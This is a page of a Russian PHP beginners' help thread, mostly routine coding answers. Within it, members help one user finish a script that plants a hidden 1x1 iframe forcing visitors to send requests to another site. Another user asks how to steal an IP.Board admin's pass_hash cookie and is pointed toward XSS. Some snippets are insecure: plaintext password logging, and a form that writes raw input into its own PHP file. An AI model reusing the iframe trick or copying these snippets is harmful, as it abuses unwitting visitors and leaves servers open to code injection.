PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 [59] 60 61 62 63 64 65 66

qW1zer
31.01.2010, 22:56
Спасибо огромное,работает,но вот еще проблема
у меня с временем в таком формате тоже массив

foreach($players[players] as $key => $value)
{
$names.=$players[players][$key][name].'<br>';
$kills.=$players[players][$key][kills].'<br>';
$id.=$players[players][$key][id].'<br>';
$ot.=$players[players][$key][onlinetime].'<br>';
}
$ot это список времени в формате
время1
время2 и т.д


Как меня правильно сделать чтобы при выводе переменной $ot
время выводилось в нормальном формате

Isis
01.02.2010, 01:05
Спасибо огромное,работает,но вот еще проблема
у меня с временем в таком формате тоже массив

foreach($players[players] as $key => $value)
{
$names.=$players[players][$key][name].'<br>';
$kills.=$players[players][$key][kills].'<br>';
$id.=$players[players][$key][id].'<br>';
$ot.=$players[players][$key][onlinetime].'<br>';
}
$ot это список времени в формате
время1
время2 и т.д


Как меня правильно сделать чтобы при выводе переменной $ot
время выводилось в нормальном формате
foreach($players[players] as $key => $value)
{
$players[players][$key][onlinetime] = date('H:i:s', $players[players][$key][onlinetime]);
$names.=$players[players][$key][name].'<br>';
$kills.=$players[players][$key][kills].'<br>';
$id.=$players[players][$key][id].'<br>';
$ot.=$players[players][$key][onlinetime].'<br>';
}

REBUUS
01.02.2010, 10:55
В PHP как то можно делать привязку к железу ?

TDKronuS
01.02.2010, 14:00
Нет.

LStr1ke
01.02.2010, 14:04
В PHP как то можно делать привязку к железу ?
Если для заливки на хост или использовать на HTTP сервере, то нет. Если типа php2exe, то можно подумать

-=Zhenek=-
01.02.2010, 16:12
В PHP как то можно делать привязку к железу ?

Для сервера сделай привязку к домену и код проверки в zend. Правда это не 100% защита и даже не 50%

Keltos
01.02.2010, 17:59
Warning: require(system/functions.php) [function.require]: failed to open stream: No such file or directory in /home/tora/k/e/l/keltosik/public_html/index.php on line 22

Fatal error: require() [function.require]: Failed opening required 'system/functions.php' (include_path='.:/usr/local/share/pear') in /home/tora/k/e/l/keltosik/public_html/index.php on line 22

Что это значит? и как решить эту проблему.

GlooK
01.02.2010, 18:12
Warning: require(system/functions.php) [function.require]: failed to open stream: No such file or directory in /home/tora/k/e/l/keltosik/public_html/index.php on line 22

Fatal error: require() [function.require]: Failed opening required 'system/functions.php' (include_path='.:/usr/local/share/pear') in /home/tora/k/e/l/keltosik/public_html/index.php on line 22

Что это значит? и как решить эту проблему.
Тут, как я понимаю, на 22 строчке нужно вместо system/functions.php написать ./system/functions.php

UPD:
Файл то вообще существует?

Nizhegorodets
01.02.2010, 20:50
Есть простейший код добавления данных из формы в текстовый файл:

<?php
if (isset($_POST["register"])) {
file_put_contents("polsov.txt", $_POST["name"] .":". $_POST["password"] . "\n");
header("location: 1.php");
exit();
}
?>
<form method="POST">
<input name="name">
<br>
<input type="password" name="password">
<br>
<br>
<input type="submit" name="register">
</form>

как сделать так, чтобы при нажатии на кнопку не полностью переписывался текстовый файл, а к уже существующим данным, добавлялись данные вводимые в поля формы?

Pashkela
01.02.2010, 20:55
Warning: require(system/functions.php) [function.require]: failed to open stream: No such file or directory in /home/tora/k/e/l/keltosik/public_html/index.php on line 22

Fatal error: require() [function.require]: Failed opening required 'system/functions.php' (include_path='.:/usr/local/share/pear') in /home/tora/k/e/l/keltosik/public_html/index.php on line 22

Что это значит? и как решить эту проблему.

это ты не отвечаешь а спрашиваешь? Лень назад мотать просто)))

пишет нет такого файла по такому пути.

попробуй с "/" в начале пути ) Или указать полностью абсолютный путь, или с помощью ".." или "." относительно запущенного скрипта

LStr1ke
01.02.2010, 20:56
2Nizhegorodets
file_put_contents("polsov.txt", $_POST["name"] .":". $_POST["password"] . "\n",FILE_APPEND);

Compton
01.02.2010, 21:21
Есть простейший код добавления данных из формы в текстовый файл:



как сделать так, чтобы при нажатии на кнопку не полностью переписывался текстовый файл, а к уже существующим данным, добавлялись данные вводимые в поля формы?

<html>
<form method="POST">
<input name="name">
<br>
<input type="password" name="password">
<br>
<br>
<input type="submit" name="register">
</form>
</html>
<?
$name=$_POST['name'];
$pass=$_POST['password'];
$fp=fopen("file.txt", "a");
$text="$name:$pass";
fputs($fp, $text."\r\n");
fclose($fp);
?>

с новой строчки каждое

Keltos
01.02.2010, 23:08
Тут, как я понимаю, на 22 строчке нужно вместо system/functions.php написать ./system/functions.php

UPD:
Файл то вообще существует?
Там только index.php :D

FewG
02.02.2010, 18:54
В принципе это ХТМЛ, но тем не менее такой вопрос, можно ли как нибудь сделать 2-е action "коммады" в форме (form) один к примеру action="post.php"> и action="mailto:">или action="удаленный_рессурс/post.php">.

DiHWO
02.02.2010, 20:00
нет. для этого надо в скрипте, на который стоит action, тобишь в скрипте gol.php если action="gol.php" написать две функции. Тоесть хочешь обрабатывать текст и отсылать его на email, тогда пиши один action и пиши скрипт.php с функцией обработки и отправки на email...

j0ker13
02.02.2010, 20:39
<form name="test" method="post" action="#" onSubmit="Do;">
...
</form>
<script>
function Do(){
...// tut chto nado
}
</script>
kak to tak)

satana-fu
03.02.2010, 01:45
у меня такая проблемка, при переходе с сайта N, нужно считывать обратный адрес, с помощью регулярки вычленить слово после id= и вставив его с исправленной ссылкой во фрейм, записать готовый фрейм в файл 1212.php и перейдя на него выполнить готовую ссылку во фрейме.

Фрейм записывает в 1212.php, только ссылку в фрейм не подставляет. Где тут ошибка???



<?PHP
$ref = getenv("HTTP_REFERER");
$filelog = fopen("1212.php","a+");
fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src=".$move"></iframe>');
fclose($filelog);
$move=preg_replace('/\D+/', 'http://site.ru/msg?send&id=', $ref);
$move.="&adding=";
header("Location: http://site.ru/1212.php");
?>

GlooK
03.02.2010, 02:28
у меня такая проблемка, при переходе с сайта N, нужно считывать обратный адрес, с помощью регулярки вычленить слово после id= и вставив его с исправленной ссылкой во фрейм, записать готовый фрейм в файл 1212.php и перейдя на него выполнить готовую ссылку во фрейме.

Фрейм записывает в 1212.php, только ссылку в фрейм не подставляет. Где тут ошибка???





<?PHP
$ref = getenv("HTTP_REFERER");
$filelog = fopen("1212.php","a+");
fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$move.'"></iframe>');
fclose($filelog);
$move=preg_replace('/\D+/', 'http://site.ru/msg?send&id=', $ref);
$move.="&adding=";
header("Location: http://site.ru/1212.php");
?>

satana-fu
03.02.2010, 04:37
<?PHP
$ref = getenv("HTTP_REFERER");
$filelog = fopen("1212.php","a+");
fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$move.'"></iframe>');
fclose($filelog);
$move=preg_replace('/\D+/', 'http://site.ru/msg?send&id=', $ref);
$move.="&adding=";
header("Location: http://site.ru/1212.php");
?>




теперь фрейм записывается вообще с пустым сорсом :mad:

<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src=""></iframe>

Fepsis
03.02.2010, 04:53
теперь фрейм записывается вообще с пустым сорсом :mad:

Так ничего удивительного ты записываешь в файл
<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$move.'"></iframe>
а потом только с переменной $move производишь какие-то непонятные манипуляции...

так попробуй:

<?PHP
$ref = getenv("HTTP_REFERER");
preg_match("/(?<=send&id=)(.*?)$/", $ref, $id);
$filelog = fopen("1212.php","a+");
fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$id[0].'"></iframe>');
fclose($filelog);
header("Location: 1212.php");
?>

Тогда в 1212.php запишется <iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="тут ИД который спарсили"></iframe>

satana-fu
03.02.2010, 08:28
вопрос исчерпан, заработал в таком виде, спасибо :)


<?PHP
error_reporting (0);
$filename = '1212.php;
unlink($filename);
$ref = getenv("HTTP_REFERER");
$move=preg_replace('/\D+/', 'http://site.ru/msg?send&id=', $ref);
$move.="&adding=";
$filelog = fopen("1212.php","a+");
fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src=".$move"></iframe>');
fclose($filelog);
header("Location: http://site.ru/1212.php");
?>

draliokero
03.02.2010, 17:54
Как проверить URL relative или absolute? Нужна функция…

imajo.ati
04.02.2010, 02:51
Как проверить URL relative или absolute? Нужна функция…
<?php
function isabs($url) {
return (parse_url($url, PHP_URL_SCHEME) !== null);
}//bool

Komyak
04.02.2010, 10:15
Не нашёл ответа... Есть ли разница как подавать POST запрос:
В строке:

$str="param=$param&log=$log";

Или в массиве:

$str=array(
'param' => $param,
'log' => $log);

Compton
04.02.2010, 10:56
Komyak
ты берешь данные из формы и делаешь POSTFIELDS через CURL?

draliokero
04.02.2010, 12:16
Как с помощью GD сделать изображение черно-белым, не используя фильтр IMG_FILTER_GRAYSCALE, только два цвета черный и белый без серого?

LStr1ke
04.02.2010, 12:44
http://dotrb.blogspot.com/2009/02/php-grayscale-image.html

Komyak
04.02.2010, 14:09
ты берешь данные из формы и делаешь POSTFIELDS через CURL?
Да. (снифаю пакеты)

b3
04.02.2010, 18:09
Не нашёл ответа... Есть ли разница как подавать POST запрос:
В строке:

$str="param=$param&log=$log";

Или в массиве:

$str=array(
'param' => $param,
'log' => $log);

Если слать файл то в массиве, если просто пост то обычно строкой делай.

Gifts
04.02.2010, 19:39
Komyak Слать так же, как шлет браузер. Уточняю - в тэге form может быть аттрибут enctype. Если его нет, или он равен application/x-www-form-urlencoded, то посылать надо строкой. Если он равен multipart/form-data - то массивом

Compton
04.02.2010, 20:36
Да. (снифаю пакеты)
для курла в основном беру обычной переменной.
Но смотри по ситуации,как сказал Gifts

crol
04.02.2010, 23:15
Напишите плиз простейший скрипт чтоб появилась кнопочка для редактирования файла...

heretic1990
04.02.2010, 23:19
Напишите плиз простейший скрипт чтоб появилась кнопочка для редактирования файла...
как то как
<?php
$otp=$_REQUEST['otp'];
$txt=$_REQUEST['txt'];
$file_txt="file.txt"; //путь к тхт файлу
if(isset($otp)){
$fopen=fopen($file_txt,"w");
fputs($fopen,$txt);
fclose($fopen);
header("location: http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);
exit;
}
?>

<form name=forma method=post action=index.php>
<textarea name=txt rows=10 cols=40><?php @include($file_txt);?></textarea>
<input type=submit name=otp value=Сохранить>
</form>
</body>

crol
04.02.2010, 23:31
Если можно, переделайте немного... нужно скрипт добавить в редактируемый файл, т.е. чтобы там появилась кнопка, при нажатии которой, появлялась форма редактирования, а при нажатии кнопки "Сохранить" скрывалась форма редактирования.

qW1zer
04.02.2010, 23:38
Типа этого что-то:


<?php
$otp=$_REQUEST['otp'];
$txt=$_REQUEST['txt'];
$file_txt="file.txt"; //путь к тхт файлу
if(isset($otp)){
$fopen=fopen($file_txt,"w");
fputs($fopen,$txt);
fclose($fopen);
header("location: http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);
exit;
}
?>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.4.min.js"></script>
<a href="#" onclick="$('#form').toggle('fast')" class="none">Открыть/Закрыть</a>
<div id="form" name="form" style="display: none;">
<form name=forma method=post action=index.php>
<textarea name=txt rows=10 cols=40><?php @include($file_txt);?></textarea>
<input type=submit name=otp value=Сохранить>
</form>
</div>
</body>

heretic1990
04.02.2010, 23:40
нужно скрипт добавить в редактируемый файл
чё то я не понял, файл сам себя должен редактировать?

чтобы там появилась кнопка, при нажатии которой, появлялась форма редактирования, а при нажатии кнопки "Сохранить" скрывалась форма редактирования.
а это уже походу на AJAX надо делать!

crol
04.02.2010, 23:45
чё то я не понял, файл сам себя должен редактировать?Ну я незнаю... хотя.. вообще неподумал немного )) ну может как можно сделать? может скрипт кинуть в отдельный файл, но чтоб показывалось содержимое редактируемого файла...


Как первый скрипт, так и второй... дело в том, что редактируется php файл. В форме редактирования показывается лишь содержимое, без php кода и при сохранении весь php код стирается.

imajo.ati
05.02.2010, 00:57
<?php if ( isset($_POST['f']) ) { file_put_contents( __FILE__, $_POST['f'] ); ?>
файл успешно сохранён. <A href="">отредактировать ещё разок?</A>
<?php } else { ?>
<FORM method="POST" action="">
<TEXTAREA name="f" cols="90" rows="10"><?php
echo htmlspecialchars(file_get_contents(__FILE__));
?></TEXTAREA><BR>
<INPUT type="submit" value="зафигачить"></FORM>
<?php } ?>


развлекайся) саморедактируется

imajo.ati
05.02.2010, 01:05
а.. понял что тебе нужно)) сейчас попробую сделать

crol
05.02.2010, 01:08
а.. понял что тебе нужно)) сейчас попробую сделать
Сделай чтоб была кнопка "Открыть/закрыть" чтоб форму редактирования скрывала.. ато у меня получилось что скрывает всё. И ещё... когда нажимаешь на "отредактировать ещё разок" просто обновляется... но форма редактирования не появляется.

imajo.ati
05.02.2010, 01:20
<?php
$self = file_get_contents( __FILE__ );
$dm = 'di' . 'e; ?>';
$dm_end = strpos($self, $dm)+strlen($dm);
$self_php = substr($self, 0, $dm_end);
$self_txt = substr($self, $dm_end);
if ( isset($_POST['f']) ) {
file_put_contents( __FILE__, "{$self_php}{$_POST['f']}");
header('Location: ./'.basename(__FILE__));
} ?>
<FORM method="POST" action="">
<TEXTAREA name="f" cols="90" rows="10"><?php
echo htmlspecialchars( $self_txt );
?></TEXTAREA><BR><INPUT type="submit" value="зафигачить"></FORM>
<INPUT type="button" onclick="d=document.getElementsByTagName('form')[0].style;
d.display=='none'? d.display='block':d.display='none';return false;" value="открыть\закрыть">
<?php die; ?>simple text

crol
05.02.2010, 01:23
<?php
$self = file_get_contents( __FILE__ );
$dm = 'di' . 'e; ?>';
$dm_end = strpos($self, $dm)+strlen($dm);
$self_php = substr($self, 0, $dm_end);
$self_txt = substr($self, $dm_end);
if ( isset($_POST['f']) ) {
file_put_contents( __FILE__, "{$self_php}{$_POST['f']}");
echo 'файл успешно сохранён. <A href="">отредактировать ещё разок?</A>';
} else { ?>
<FORM method="POST" action="">
<TEXTAREA name="f" cols="90" rows="10"><?php
echo htmlspecialchars( $self_txt );
?></TEXTAREA><BR><INPUT type="submit" value="зафигачить"></FORM>
<?php } die; ?>simple text
всё также не работает "отредактировать ещё разок?"

imajo.ati
05.02.2010, 01:26
отредактировал сообщение, проверь, если последний вариант не подойдёт то хз что тебе надо(

crol
05.02.2010, 01:30
Содержимое страницы скрылось, кнопка открыть/закрыть вообще не работает ))

imajo.ati
05.02.2010, 01:31
Содержимое страницы скрылось, кнопка открыть/закрыть вообще не работает ))
включи яваскрипт, удали лишние пробелы из скрипта (форум вставил автоматом)



у тебя IE6 ?

crol
05.02.2010, 01:35
неработает :-\

У меня опера

imajo.ati
05.02.2010, 01:36
изложи в пм а то флуд получился

qW1zer
05.02.2010, 12:12
Кнопка открыть/закрыть в моем варианте работает отлично,а что со скриптом,то я до сих пор не вник,что тебе нужно

cupper
05.02.2010, 17:05
что возвращает код
parseInt(Math.floor(Math.random()*99999))
число или строку ?

и еще что делает вот это

httpRequest.open("POST", url, true);
httpRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
httpRequest.onreadystatechange = function() {
if (httpRequest.readyState == 4) {
if (httpRequest.status == 200) {
if(httpRequest.responseText == 'OK'){
RegistrationForm.submit();
return true;
}



выделеная строчка

DiHWO
05.02.2010, 19:35
что возвращает код

parseInt(Math.floor(Math.random()*99999))


число, целое число.

RegistrationForm.submit();

Отправляет данные формы скрипту...это тоже самое, если бы ты руками нажал на кнопу созданную <input type="submit" name="button" value="Отправить">
P.S. Если я не прав, поправте меня...

olishort
05.02.2010, 20:23
crol, используй фреймворк jquery

AHAKEH
05.02.2010, 21:36
Помогите пожалуйста со скриптом для поиска в гугле:
В общем мы имеем запрос на поиск, если результат поиска в гугле 1, то выводить true, если 0, то false.

В смысле если есть результат поиска, то выводить тру, если ничего не найдено, то фэил :)

imajo.ati
05.02.2010, 22:28
Помогите пожалуйста со скриптом для поиска в гугле:
В общем мы имеем запрос на поиск, если результат поиска в гугле 1, то выводить true, если 0, то false.

В смысле если есть результат поиска, то выводить тру, если ничего не найдено, то фэил :)
<?php

function ask_google( $your_question )
{
$s = stream_socket_client( 'tcp://www.google.ru:80', $en, $es, 5.0 );
if ( !$s ) return false;
fwrite($s, implode( PHP_EOL, array(
'GET /search?hl=ru&q=' . urlencode($your_question) . ' HTTP/1.0',
'Host: www.google.ru',
'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)',
'Connection: close'
)).PHP_EOL.PHP_EOL );
$r = '';
while(!feof($s)) $r .= fgets($s,2048);
return !!preg_match('~\<p\s+id\s*=\s*result' . 'Stats\s*\>.*?\<b\>[0-9]+</b' . '>\s*\-\s*\<b\>[0' . '-9]+\<\/b\>~i', $r);
}
//bool

var_dump( ask_google( 'Как составить завещание' ) );
var_dump( ask_google( ';lsadh;lshadgopihsdao ighosdahgopashdpoghaspoudg' ) );

b3
05.02.2010, 22:29
если результат поиска в гугле 1, то выводить true, если 0, то false.
Покажи пример, где ето гугл по запросу выводить вместо ресурсов цифры 0 или 1.

AHAKEH
05.02.2010, 22:33
b3, наверное плохо расписал.
У меня идет поиск по сайту через гугл, так вот, если на этом сайте что-то найдено, то соответственно выводится результат (под этим подразумевал 1), если ничего не найдено, то это 0.
Ну и нужен скрипт, который распознает результат, если 1, то echo 'true', если 0, то echo 'false'

imajo.ati
05.02.2010, 22:37
еще вот так можно

<?php
function ask_google( $your_question )
{
return !!preg_match('~\<p\s+id\s*=\s*result'
. 'Stats\s*\>.*?\<b\>[0-9]+</b'
. '>\s*\-\s*\<b\>[0'
. '-9]+\<\/b\>~i', file_get_contents(
'http://www.google.ru/search?hl=ru&q='
. urlencode($your_question)));
}
//bool

Compton
07.02.2010, 01:15
со временем стала возникать необходимость работать с ручным вводом капчи.
кто может объяснить как это делается?(подробнее,не в общих чертах)
откуда идет капча и куки( через header) я уже получил

Gifts
07.02.2010, 01:27
Compton 1) Сохранять данные необходимые для реги либо в сессиях либо в файлах (чтобы при повторном обращении пользователя к скрипту их можно было восстановить)
2) Сохраняем капчу на свой сервер и показываем пользователю с формой ввода
3) Пользователь вводит в форму значение капчи, скрипт забирает данные для отправки из сессии, берет значение капчи и посылает исходному серверу.

Подробнее этого - это только написать все за вас

Compton
07.02.2010, 01:32
спасибо
писать не надо за меня,я только учусь

Ctacok
09.02.2010, 10:57
Имееться класс, в нём функции вывода из бд.
Собственно, в бд значение начинаеться с большой буквы, но в PHP скрипте уже выводиться маленькими буквами.
Нужно выводить в таком регистре, каком он есть в бд.
Спасибо заранее.

// Разобрался, дело в CSS.

GlooK
09.02.2010, 11:08
Имееться класс, в нём функции вывода из бд.
Собственно, в бд значение начинаеться с большой буквы, но в PHP скрипте уже выводиться маленькими буквами.
Нужно выводить в таком регистре, каком он есть в бд.
Спасибо заранее.
Найди и убери из класса функции:
strtolower()
strtoupper()

Ctacok
09.02.2010, 11:14
Найди и убери из класса функции:
мда)
Там нету вообще функций связанных с регистром.

GlooK
09.02.2010, 11:32
Дай ссылку на класс

НTL
09.02.2010, 14:37
Знаю что боян но:
Как правильно фильтровать: ',",/,<,> ?

Kaimi
09.02.2010, 14:48
Знаю что боян но:
Как правильно фильтровать: ',",/,<,> ?

Наверное с помощью htmlspecialchars

pamplemousse
09.02.2010, 15:12
Бывает ли script для сайта Powered By IP.Board 3.0.4 ?

Там cookie сохраняются вот так :

pass_hash : ...
session_id : ...

И мне нужен pass_hash админа, что потом я смог расшифровать hash ...

Или подскажите что надо делать чтоб узнать pass_hash админа ?

b3
09.02.2010, 15:54
Там cookie сохраняются вот так :
Куки сохраняются на стороне клиента, тоесть прокрадись в квартиру к админу, и перепиши на листик его куки. Либо ищи на сайте xss

pamplemousse
09.02.2010, 16:01
А как искать xss ?

b3
09.02.2010, 16:22
http://tinyurl.com/yf5ykfx

Deathdreams
09.02.2010, 16:40
Знаю что боян но:
Как правильно фильтровать: ',",/,<,> ?
на выходе htmlspecialchars, при записи данных в мускуль - mysql_real_escape_string.

xo0x
09.02.2010, 17:27
как сделать вывод кол-ва строк в txt файле
text.txt
1
2
3
4
5
6
7

и чтобы была надпись (В файле 7 строчек) + вывод в WP...

GlooK
09.02.2010, 18:24
как сделать вывод кол-ва строк в txt файле
text.txt

и чтобы была надпись (В файле 7 строчек) + вывод в WP...

$filecontent = file('text.txt');
echo 'В файле '.count($filecontent).' строчек';

b3
09.02.2010, 18:24
<?php
$file = file('save.php');
$i = 1;

foreach ($file as $str) {
echo 'строка №'.$i.': '.$str.'<br>';
$i++;
}

?>

Результат:

строка №1: строка №2: if(isset($_POST['badstrings'])) {
строка №3:
строка №4: $arr = base64_decode($_POST['badstrings']);
строка №5: $arr = unserialize($arr);
строка №6:
строка №7:
строка №8: foreach ($arr as $str) {
строка №9: file_put_contents('log.txt', $str."\r\n", FILE_APPEND);
строка №10: }
строка №11: }
строка №12: header("Location: index.php");
строка №13: ?>

bxN5
10.02.2010, 02:50
вообщем при регистрации ник пишется в сессию
потом берется из сессии для разного рода скуль запросов
что бы обезопасить от иньекций, но не писать пеерд каждым запросом например
$name=htmlspecialchars(mysql_escape_string(trim($n ame)));
если я сначала буду так обрабатывать(при регистрации) а потом записывать в сессию(и в базу естестно), не повлияет ли это на отображения ника? и вообще какие хорошие меры что бы обезопасить от скуль иньекция при строковых переменных?

Shadow_p1raT
10.02.2010, 06:34
2 bxN5
mysql_escape_string() - на мой взгляд,данная функция должна использоваться внутри класса mySQL,если таковой имеется
а использование htmlspecialchars и различных фильтров должно выполнятся в контролёре(по модели MVC).
Не пихайте всё в кучу)
не повлияет ли это на отображения ника?
ей богу,мы не телепаты,код твой не видим)сначала потести,а потом уже отписыай)по плану на отображении никак не скажется.

SkyLine32
10.02.2010, 16:37
Всем привет! Я тут пишу для своих нужд один скрипт и не как не могу его доделать, так как я ещё пока начинающий. Вот код:

<?php
$link = "http://link1

http://link2

http://link3

http://link4

http://link5";

$tok = strtok($link,"\n");
$leech_end = ']';

while ($tok) {
$tok = str_replace('http:', "[leech=http:", "$tok");
echo "$tok$leech_end";
$tok= strtok("\n");
}
?>

Вот что получается...

[leech=http://link1 ]
]
[leech=http://link2 ]
]
[leech=http://link3 ]
]
[leech=http://link4 ]
]
[leech=http://link5]

Помогите люди добрые сделать чтобы было так:

[leech=http://link1]

[leech=http://link2]

[leech=http://link3]

[leech=http://link4]

[leech=http://link5]

budden
10.02.2010, 16:47
Такой вопрос - можно ли через веб подать php скрипту параметры $argv[]?

SkyLine32
10.02.2010, 16:55
Такой вопрос - можно ли через веб подать php скрипту параметры $argv[]?
тебя не это интересует?

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str);
echo $first; // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz

parse_str($str, $output);
echo $output['first']; // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz

?>

Взял из справочника

budden
10.02.2010, 17:36
тебя не это интересует?
[PHP]
<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";

Оно, спасибо.

Жаль, как и ожидалось, работает только с reg_globals=on

Shadow_p1raT
10.02.2010, 17:42
to SkyLine32
$link преобразуй в такой вид

$link = "
http://link1
http://link2
http://link3
http://link4
http://link5";

а первую переменную $tok так:

$tok = strtok($link,"\r\n");

Не тестил,но должно работать.
Вопрос,link - это ты просто так подстваил,вместо настоящих url'ов?или так и должно быть?

UPD
Можно ещё так:

<?php
$link = "
http://link1
http://link2
http://link3
http://link4
http://link5";
$array = explode("\r\n",$link);
foreach($array as $key=>$value)
{
if(empty($value))
{
continue;
}
echo '[leech='.trim($value).']';
}
?>

SkyLine32
10.02.2010, 18:01
to SkyLine32
$link преобразуй в такой вид

$link = "
http://link1
http://link2
http://link3
http://link4
http://link5";

а первую переменную $tok так:

$tok = strtok($link,"\r\n");

Не тестил,но должно работать.
Вопрос,link - это ты просто так подстваил,вместо настоящих url'ов?или так и должно быть?

Ах вот оно как просто оказалось, правда не совсем как надо... Получилось:
[leech=http://link1]
[leech=http://link2 ]
[leech=http://link3 ]
[leech=http://link4 ]
[leech=http://link5]

Вот только пробелы с 2 по 4 строки остались перед ]
Нет, урлы будут реальные и их будет разное количество.

Shadow_p1raT
10.02.2010, 18:15
to SkyLine32:
Заюзай проще мой второй вариант:
http://forum.antichat.ru/showpost.php?p=1891066&postcount=14597
А если будут реальный ссылке,то проще будет заюзать preg_replace,cейчас если успею,накатаю примерчик )

UPD:
Успел

<?php
$link = "
http://wow.ru
http://yandex.ru
http://www.google.ru
http://antichat.ru
http://forum.antichat.ru";

echo preg_replace('|http(s)?://[a-z0-9-]+(.[a-z0-9-]+)*(:[0-9]+)?(/.*)?|i',"[leech=\$0]",$link);
?>

Результат:

[leech=http://wow.ru]
[leech=http://yandex.ru]
[leech=http://www.google.ru]
[leech=http://antichat.ru]
[leech=http://forum.antichat.ru]

Самый простой вариант)

harom
10.02.2010, 20:23
так уж получается, что пришлось в одном блоке таблицы разместить радио кнопки для вариантом поиска, а во втором поле ввода поискового запроса.
Беда в том, что контент и все возможные формы, что сопровождают контент внутри формы поиска.

Есть ли возможность как либо экранировать внутренние формы?

Коротко: при нажатии на кнопки форм в контенте сайта(коментить, оценить) естно срабатывает кнопка поиска.

LASS0
10.02.2010, 20:31
как можно это через функцию с циклом это сделать? чтоб покороче было
$result2=mysql_query("UPDATE vmkb SET pn = '$pn[0]' WHERE id=1 ");
$result2=mysql_query("UPDATE vmkb SET pn = '$pn[1]' WHERE id=2 ");
$result2=mysql_query("UPDATE vmkb SET pn = '$pn[2]' WHERE id=3 ");
$result2=mysql_query("UPDATE vmkb SET pn = '$pn[3]' WHERE id=4 ");

$result2=mysql_query("UPDATE vmkb SET vt = '$vt[0]' WHERE id=1 ");
$result2=mysql_query("UPDATE vmkb SET vt = '$vt[1]' WHERE id=2 ");
$result2=mysql_query("UPDATE vmkb SET vt = '$vt[2]' WHERE id=3 ");
$result2=mysql_query("UPDATE vmkb SET vt = '$vt[3]' WHERE id=4 ");

$result2=mysql_query("UPDATE vmkb SET sr = '$sr[0]' WHERE id=1 ");
$result2=mysql_query("UPDATE vmkb SET sr = '$sr[1]' WHERE id=2 ");
$result2=mysql_query("UPDATE vmkb SET sr = '$sr[2]' WHERE id=3 ");
$result2=mysql_query("UPDATE vmkb SET sr = '$sr[3]' WHERE id=4 ");

Compton
10.02.2010, 21:55
помогите написать скрипт,чтобы авторизовывался на money.yandex.ru
чтобы после этого можно было регуляркой спарсить кол-во рублей

b3
10.02.2010, 23:35
помогите написать скрипт,чтобы авторизовывался на money.yandex.ru
чтобы после этого можно было регуляркой спарсить кол-во рублей
Где-то был у меня самописный класс "Апи" яндекса, но не нашел. Вот функция авторизации, далее с этими куками просто идеш на money.yandex.ru и парсиш.

function login($login,$pass)
{

$ch = curl_init('https://passport.yandex.ru/passport?mode=auth');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3');
curl_setopt($ch, CURLOPT_REFERER, 'https://passport.yandex.ru/passport?mode=auth');
curl_setopt($ch, CURLOPT_COOKIEJAR, './cook.txt');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "login=$login&passwd=$pass");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$res = curl_exec($ch);
if(preg_match('#https:\/\/passport\.yandex.ru\/passport\?mode=logout#',$res))
return true;
}

попугай
11.02.2010, 07:06
Как запустить php скрипт из консоли, чтоб он висел и работал?

делаю так

# php script.php 1> /dev/null 2>&1


он остается работать, но ничего потом ввести нельзя. А если нажать ctrl+C - то он вырубается.

попугай
11.02.2010, 07:11
как можно это через функцию с циклом это сделать? чтоб покороче было
$result2=mysql_query("UPDATE vmkb SET pn = '$pn[0]' WHERE id=1 ");
$result2=mysql_query("UPDATE vmkb SET pn = '$pn[1]' WHERE id=2 ");
$result2=mysql_query("UPDATE vmkb SET pn = '$pn[2]' WHERE id=3 ");
$result2=mysql_query("UPDATE vmkb SET pn = '$pn[3]' WHERE id=4 ");

$result2=mysql_query("UPDATE vmkb SET vt = '$vt[0]' WHERE id=1 ");
$result2=mysql_query("UPDATE vmkb SET vt = '$vt[1]' WHERE id=2 ");
$result2=mysql_query("UPDATE vmkb SET vt = '$vt[2]' WHERE id=3 ");
$result2=mysql_query("UPDATE vmkb SET vt = '$vt[3]' WHERE id=4 ");

$result2=mysql_query("UPDATE vmkb SET sr = '$sr[0]' WHERE id=1 ");
$result2=mysql_query("UPDATE vmkb SET sr = '$sr[1]' WHERE id=2 ");
$result2=mysql_query("UPDATE vmkb SET sr = '$sr[2]' WHERE id=3 ");
$result2=mysql_query("UPDATE vmkb SET sr = '$sr[3]' WHERE id=4 ");



for($i=0; $i<4; $i++){
$result = mysql_query("UPDATE vmkb SET pn ='" . $pn[$i] . "' WHERE id=" . ($i+1));
}

Shadow_p1raT
11.02.2010, 07:53
2 попугай,читай внимательней его пост
2 LASS0
как-то так:

<?php
$sets = array('pn', 'vt', 'sr');
foreach ($sets as $value) {
for ($i = 0; $i <= 3; $i++) {
$id = $i + 1;
$result2 = mysql_query("UPDATE vmkb SET " . $value . " = \$$value" . "[" . $i .
"] WHERE id=" . $id);
}
}
?>

Но он не будет работать,потому что = \$$value" . "[" . $i . "] будет являться просто строкой,а не переменной =(
Кто знает как сделать её переменной?

b3
